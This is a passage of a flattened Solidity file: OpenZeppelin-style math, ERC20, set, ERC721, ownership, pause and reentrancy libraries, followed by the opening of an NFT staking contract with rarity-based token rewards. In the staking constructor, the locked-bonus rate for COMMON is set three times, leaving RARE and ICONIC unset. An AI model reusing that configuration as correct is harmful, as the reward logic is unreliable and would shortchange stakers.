overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: contracts/libs/SafeERC20.sol pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add( value ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } // File: contracts/libs/EnumerableSet.sol pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // File: contracts/libs/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: contracts/libs/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: contracts/libs/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: contracts/libs/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: contracts/libs/Ownable.sol pragma solidity ^0.8.0; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: contracts/libs/Pausable.sol pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Ownable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function pause() external onlyOwner whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() external onlyOwner whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: contracts/libs/ReentrancyGuard.sol pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // File: contracts/NftStaking.sol pragma solidity ^0.8.0; contract NftStaking is ReentrancyGuard, Pausable, IERC721Receiver { using SafeMath for uint256; using EnumerableSet for EnumerableSet.UintSet; using SafeERC20 for IERC20; address public constant DEAD = 0x000000000000000000000000000000000000dEaD; enum Rarity { COMMON, RARE, ICONIC, GOLDEN } enum StakeType { UNLOCKED, LOCKED, PAIR_LOCKED } bytes32 public SEASON1_MERKLE_ROOT; bytes32 public SEASON2_MERKLE_ROOT; /** Season1 / Season2 NFT address */ address public _season1Nft; address public _season2Nft; /** Reward Token address */ address public _rewardToken; // Withdraw lock period uint256 public _lockPeriod = 60 days; // Lock period 60 days uint16 public _unstakeFee = 500; // Unstake fee 5% uint16 public _forcedUnstakeFee = 10000; // Force unstake fee 100% struct NftStakeInfo { Rarity _rarity; bool _isLocked; uint256 _pairedTokenId; uint256 _stakedAt; } struct UserInfo { EnumerableSet.UintSet _season1Nfts; EnumerableSet.UintSet _season2Nfts; mapping(uint256 => NftStakeInfo) _season1StakeInfos; mapping(uint256 => NftStakeInfo) _season2StakeInfos; uint256 _pending; // Not claimed uint256 _totalClaimed; // Claimed so far uint256 _lastClaimedAt; uint256 _pairCount; // Paired count } mapping(Rarity => uint256) _season1BaseRpds; // RPD: reward per day mapping(Rarity => uint16) _season1LockedExtras; mapping(Rarity => mapping(StakeType => uint16)) _season2Extras; // Info of each user that stakes LP tokens. mapping(address => UserInfo) private _userInfo; event Staked( address indexed account, uint256 tokenId, bool isSeason1, bool isLocked ); event Unstaked(address indexed account, uint256 tokenId, bool isSeason1); event Locked(address indexed account, uint256 tokenId, bool isSeason1); event Paired( address indexed account, uint256 season1TokenId, uint256 season2TokenId ); event Harvested(address indexed account, uint256 amount); event InsufficientRewardToken( address indexed account, uint256 amountNeeded, uint256 balance ); constructor(address __rewardToken, address __season1Nft) { IERC20(__rewardToken).balanceOf(address(this)); IERC721(__season1Nft).balanceOf(address(this)); _rewardToken = __rewardToken; _season1Nft = __season1Nft; // Base reward per day _season1BaseRpds[Rarity.COMMON] = 50 ether; _season1BaseRpds[Rarity.RARE] = 125 ether; _season1BaseRpds[Rarity.ICONIC] = 250 ether; // Season1 locked cases extra percentage _season1LockedExtras[Rarity.COMMON] = 2000; // 20% _season1LockedExtras[Rarity.COMMON] = 2000; // 20% _season1LockedExtras[Rarity.COMMON] = 2000; // 20% // Season2 extra percentage _season2Extras[Rarity.COMMON][StakeType.UNLOCKED] = 1000; _season2Extras[Rarity.COMMON][StakeType.LOCKED] = 2000; _season2Extras[Rarity.COMMON][StakeType.PAIR_LOCKED] = 5000; _season2Extras[Rarity.RARE][StakeType.UNLOCKED] = 2000; _season2Extras[Rarity.RARE][StakeType.LOCKED] = 2000; _season2Extras[Rarity.RARE][StakeType.PAIR_LOCKED] = 5000; _season2Extras[Rarity.ICONIC][StakeType.UNLOCKED] = 3500; _season2Extras[Rarity.ICONIC][StakeType.LOCKED] = 2000; _season2Extras[Rarity.ICONIC][StakeType.PAIR_LOCKED] = 5000; _season2Extras[Rarity.GOLDEN][StakeType.UNLOCKED] = 5000; _season2Extras[Rarity.GOLDEN][StakeType.LOCKED] = 2000; _season2Extras[Rarity.GOLDEN][StakeType.PAIR_LOCKED] = 5000; } function setSeason2Nft(address __season2Nft) external onlyOwner { IERC721(__season2Nft).balanceOf(address(this)); _season2Nft = __season2Nft; } function getRewardInNormal( uint256 __rpd, uint256 __stakedAt, uint256 __lastClaimedAt ) private view returns (uint256) { uint256 timePassed = __stakedAt > __lastClaimedAt ? block.timestamp.sub(__stakedAt) : block.timestamp.sub(__lastClaimedAt); return __rpd.mul(timePassed).div(1 days); } function getRewardInLocked( uint256 __rpd, uint256 __extraRate, uint256 __stakedAt, uint256 __lastClaimedAt ) private view returns (uint256 lockedAmount, uint256 unlockedAmount) { uint256 lockEndAt = __stakedAt.add(_lockPeriod); if (lockEndAt > block.timestamp) { lockedAmount = __rpd .mul(block.timestamp.sub(__stakedAt)) .mul(uint256(10000).add(__extraRate)) .div(10000) .div(1 days); } else { uint256 timePassed = __lastClaimedAt >= lockEndAt ? block.timestamp.sub(__lastClaimedAt) : block.timestamp.sub(__stakedAt); unlockedAmount = __rpd .mul(timePassed) .mul(uint256(10000).add(__extraRate)) .div(10000) .div(1 days); } } function getSeason1Rewards(address __account, uint256 __nftId) private view returns (uint256 lockedAmount, uint256 unlockedAmount) { UserInfo storage user = _userInfo[__account]; NftStakeInfo storage season1StakeInfo = user._season1StakeInfos[ __nftId ]; Rarity season1Rarity = season1StakeInfo._rarity; uint256 baseRpd = _season1BaseRpds[season1Rarity]; // For the locked staking add extra percentage if (season1StakeInfo._isLocked) { (lockedAmount, unlockedAmount) = getRewardInLocked( baseRpd, _season1LockedExtras[season1Rarity], season1StakeInfo._stakedAt, user._lastClaimedAt ); } else { unlockedAmount = getRewardInNormal( baseRpd, season1StakeInfo._stakedAt, user._lastClaimedAt ); } } function getPairedSeason2Rewards(address __account, uint256 __nftId) private view returns (uint256 lockedAmount, uint256 unlockedAmount) { UserInfo storage user = _userInfo[__account]; NftStakeInfo storage season1StakeInfo = user._season1StakeInfos[ __nftId ]; NftStakeInfo storage season2StakeInfo = user._season2StakeInfos[ season1StakeInfo._pairedTokenId ]; Rarity season1Rarity = season1StakeInfo._rarity; Rarity season2Rarity = season2StakeInfo._rarity; uint256 baseRpd = _season1BaseRpds[season1Rarity]; if (season1StakeInfo._pairedTokenId == 0) { lockedAmount = 0; unlockedAmount = 0; } else if (season2StakeInfo._isLocked) { // extra rate is wheter season1 is locked or not uint256 rpdExtraRate = season1StakeInfo._isLocked ? _season2Extras[season2Rarity][StakeType.PAIR_LOCKED] : _season2Extras[season2Rarity][StakeType.LOCKED]; (lockedAmount, unlockedAmount) = getRewardInLocked( baseRpd, rpdExtraRate, season2StakeInfo._stakedAt, user._lastClaimedAt ); } else { // base rpd for the season2 unlocked baseRpd = baseRpd .mul(_season2Extras[season2Rarity][StakeType.UNLOCKED]) .div(10000); unlockedAmount = getRewardInNormal( baseRpd, season2StakeInfo._stakedAt, user._lastClaimedAt ); } } function viewProfit(address __account) public view returns ( uint256 totalEarned, uint256 totalClaimed, uint256 lockedRewards, uint256 unlockedRewards ) { UserInfo storage user = _userInfo[__account]; totalClaimed = user._totalClaimed; unlockedRewards = user._pending; uint256 countSeason1Nfts = user._season1Nfts.length(); uint256 index; for (index = 0; index < countSeason1Nfts; index++) { uint256 pendingLockedRewards = 0; uint256 pendingUnlockedRewards = 0; (pendingLockedRewards, pendingUnlockedRewards) = getSeason1Rewards( __account, 